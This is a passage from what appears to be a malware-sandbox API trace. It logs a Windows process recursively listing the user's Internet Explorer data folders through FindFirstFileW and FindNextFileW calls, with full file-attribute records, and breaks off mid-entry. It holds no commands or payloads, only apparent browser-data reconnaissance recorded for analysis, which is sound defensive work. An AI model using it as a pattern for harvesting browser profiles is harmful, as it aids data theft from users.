cFileName="DomainSuggestions", cAlternateFileName="DOMAIN~1")) returned 1 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe810db9, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe810db9, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmieSiteList", cAlternateFileName="EMIESI~1")) returned 1 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe85d368, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe85d368, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmieUserList", cAlternateFileName="EMIEUS~1")) returned 1 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431ab1e5, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x431ab1e5, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x600a7168, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie4uinit-ClearIconCache.log", cAlternateFileName="IE4UIN~2.LOG")) returned 1 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4137bbef, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x431128d7, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie4uinit-UserConfig.log", cAlternateFileName="IE4UIN~1.LOG")) returned 1 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatData", cAlternateFileName="IECOMP~1")) returned 1 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x2a4d1094, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEFlipAheadCache", cAlternateFileName="IEFLIP~1")) returned 1 [0209.703] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad892634, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xad892634, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xad892634, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagestore", cAlternateFileName="IMAGES~1")) returned 1 [0209.704] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7f5e93e, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xf7f5e93e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7f5e93e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0209.704] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabRoaming", cAlternateFileName="TABROA~1")) returned 1 [0209.704] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracking Protection", cAlternateFileName="TRACKI~1")) returned 1 [0209.704] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc57ec43, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfd2057f2, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfd2057f2, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VersionManager", cAlternateFileName="VERSIO~1")) returned 1 [0209.704] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc57ec43, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfd2057f2, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfd2057f2, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VersionManager", cAlternateFileName="VERSIO~1")) returned 0 [0209.704] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0209.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.737] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3f [0209.737] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.737] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.737] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4302da2a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4302da2a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x430ec4ba, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x19b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1 [0209.737] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2061e11c, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2061e11c, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DomainSuggestions", cAlternateFileName="DOMAIN~1")) returned 1 [0209.737] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe810db9, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe810db9, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmieSiteList", cAlternateFileName="EMIESI~1")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe85d368, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe85d368, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmieUserList", cAlternateFileName="EMIEUS~1")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431ab1e5, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x431ab1e5, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x600a7168, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie4uinit-ClearIconCache.log", cAlternateFileName="IE4UIN~2.LOG")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4137bbef, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x431128d7, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie4uinit-UserConfig.log", cAlternateFileName="IE4UIN~1.LOG")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatData", cAlternateFileName="IECOMP~1")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x2a4d1094, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2a4d1094, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2a4d1094, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEFlipAheadCache", cAlternateFileName="IEFLIP~1")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad892634, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xad892634, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xad892634, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagestore", cAlternateFileName="IMAGES~1")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7f5e93e, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xf7f5e93e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7f5e93e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabRoaming", cAlternateFileName="TABROA~1")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracking Protection", cAlternateFileName="TRACKI~1")) returned 1 [0209.738] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc57ec43, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xfd2057f2, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfd2057f2, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VersionManager", cAlternateFileName="VERSIO~1")) returned 1 [0209.739] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.739] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.739] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\DomainSuggestions", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\DomainSuggestions", lpFilePart=0x0) returned 0x51 [0209.739] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\DomainSuggestions\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\domainsuggestions\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2061e11c, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2061e11c, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2336acb7, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.739] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2061e11c, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2061e11c, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2336acb7, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.740] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2336acb7, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2336acb7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.1", cAlternateFileName="")) returned 1 [0209.740] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.740] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.740] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\DomainSuggestions", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\DomainSuggestions", lpFilePart=0x0) returned 0x51 [0209.740] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\DomainSuggestions\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\domainsuggestions\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2061e11c, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2336acb7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2336acb7, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.741] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2061e11c, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2336acb7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2336acb7, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.741] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2336acb7, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2336acb7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.1", cAlternateFileName="")) returned 1 [0209.741] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2336acb7, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2336acb7, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4700, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.1", cAlternateFileName="")) returned 0 [0209.741] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.741] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieSiteList", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieSiteList", lpFilePart=0x0) returned 0x4c [0209.741] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieSiteList\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\internet explorer\\emiesitelist\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe810db9, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe810db9, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.742] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe810db9, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe810db9, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.742] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe810db9, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfe810db9, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfe810db9, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0209.742] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.742] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.742] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieSiteList", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieSiteList", lpFilePart=0x0) returned 0x4c [0209.742] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Internet 